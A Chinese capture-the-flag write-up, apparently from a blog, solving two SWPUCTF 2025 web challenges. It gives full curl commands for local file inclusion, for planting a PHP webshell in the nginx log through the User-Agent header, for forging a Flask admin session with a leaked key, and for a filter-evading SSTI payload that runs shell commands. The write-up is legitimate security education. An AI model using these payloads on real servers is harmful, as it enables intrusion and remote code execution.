SWPUCTF 2025 秋季新生赛wp2

ezez_include(LEI)

猜测是一个读取数据库文件的功能

读一下,得到,说明存在LFI

有/bin/bash,确定是linux系统,读一下nginx配置文件,得到网站根目录是/var/www/html,入口文件时index.php

然后用 php://filter 读取 index.php 源码**,php://filter是php的输入输出流,可以读取文件内容而不执行。配合 convert.base64-encode 会把文件转成 base64 编码返回,避免被 PHP 解析。解码后就能看到完整源码**

复制代码
php://filter/convert.base64-encode/resource=index.php
      ⬆过滤器链     ⬆具体过滤器   ⬆资源路径标识=文件名

去解码

发现漏洞,include($file)文件包含函数没有过滤,直接把我们输入的参数,并把文件内容当作 PHP 代码执行

所以接下来思路:把马写到日志里面,然后include读并执行log,实现rce

看一下源码,是POST,表名叫nss

接下来用尝试curl发一个http请求

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss=../../../../etc/passwd"

成功回显,开始注入

尝试传马,把马写在UA里面

复制代码
curl -A "<?php system(\$_GET['cmd']); ?>" -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss="

-A:改User-Agent字段
-X POST+url:POST格式+目标网页
-d "nss=" 发送一个空的 POST 数据

执行id看一下我是谁,并且看一下日志,传成功了

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=id" -d "nss=../../../../var/log/nginx/access.log"

我是www-data

看目录

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=ls%20/" -d "nss=../../../../var/log/nginx/access.log"

有东西!

直接猫一下

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=cat%20/ffffflalalallalalalalalalalg" -d "nss=../../../../var/log/nginx/access.log"

拿到flag

我是复读机

先dirsearch扫描一下

发现一个robots.txt页面,提示了一个路径

根据路径找到了输入框

输入1跳到了/forbidden2页面,提示权限不足,猜测还有forbidden1等,试一下

f2:

f1:

f3:

view-source这几个页面,在f2里面看到一个密钥

whatweb扫一下:

有werkzeug(flash的http工具),还有session,应该是一个flask(基于python的web框架)

Flask的session默认存储在cookie里:

格式大致如下:

复制代码
eyJ1c2VyIjoiZ3Vlc3QifQ.afmRoQ.dd80CG5bxURHDXLCHppd1rZjMGU

由三部分组成,用 . 隔开:

部分 内容 说明
第1部分 eyJ1c2VyIjoiZ3Vlc3QifQ Base64 编码的 JSON 数据
第2部分 afmRoQ 时间戳
第3部分 dd80CG5bxURHDXLCHppd1rZjMGU 签名(用 SECRET_KEY 生成)

我们猜测这个密钥就是是secretkey

(curl的详细用法)

先看一眼session

复制代码
curl -sI http://node1.anna.nssctf.cn:23973/ | grep -i "set-cookie"

当前身份是guest

用flask-unsign伪造一个admin的session

复制代码
flask-unsign --sign --cookie "{'user':'admin'}" --secret "S4p3r_6arth_1s_Burning"

用伪造的session访问/Up1oAds

(中间换环境了,现在的环境是28849)

复制代码
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  http://node1.anna.nssctf.cn:28849/Up1oAds

页面回显完整的表单,说明admin进入成功

测试是否存在ssti漏洞

复制代码
curl -X POST \
  -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  -d "payload={{7*7}}" \
  http://node1.anna.nssctf.cn:28849/render

{``{7*7}} 被计算为 49,证明存在 SSTI(服务端模板注入) 漏洞

最终payload

复制代码
 curl -X POST \
  -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  -d "payload={{g['po''p']['__g''lobals__']['__b''uiltins__']['__imp''ort__']('o''s')['po''pen']('cat /f*')['r''ead']()}}" \
  http://node1.anna.nssctf.cn:28849/render
相关推荐
pengyu2 小时前
【Kotlin 协程修仙录 · 金丹境 · 初阶】 | 并发艺术:async/await 与并发组合的优雅之道
android·kotlin
沐言人生3 小时前
ReactNative 源码分析3——ReactActivity之初始化RN应用
android·react native
YaBingSec4 小时前
网络安全靶场WP:Grafana 任意文件读取漏洞(CVE-2021-43798)
android·笔记·安全·web安全·ssh·grafana
YF02114 小时前
彻底解决Android非SDK接口绕过限制的深度实践
android·google·app
IVEN_4 小时前
Gradle 依赖下载 403 Forbidden 修复:全局镜像配置实战
android·后端
恋猫de小郭5 小时前
Flutter 3.44 发布前夕,官方宣布 SwiftPM 将完全取代 CocoaPods
android·前端·flutter
黄林晴5 小时前
重磅发布!KMP 双端订阅支付彻底封神,一套代码搞定 iOS+Android
android·kotlin
Carson带你学Android5 小时前
别再乱学了!深度解读 Google 官方发布 Android 6 大核心 Skills
android·前端·ai编程
张风捷特烈5 小时前
状态管理大乱斗#06 | Riverpod 源码评析 (下) - 外功心法
android·前端·flutter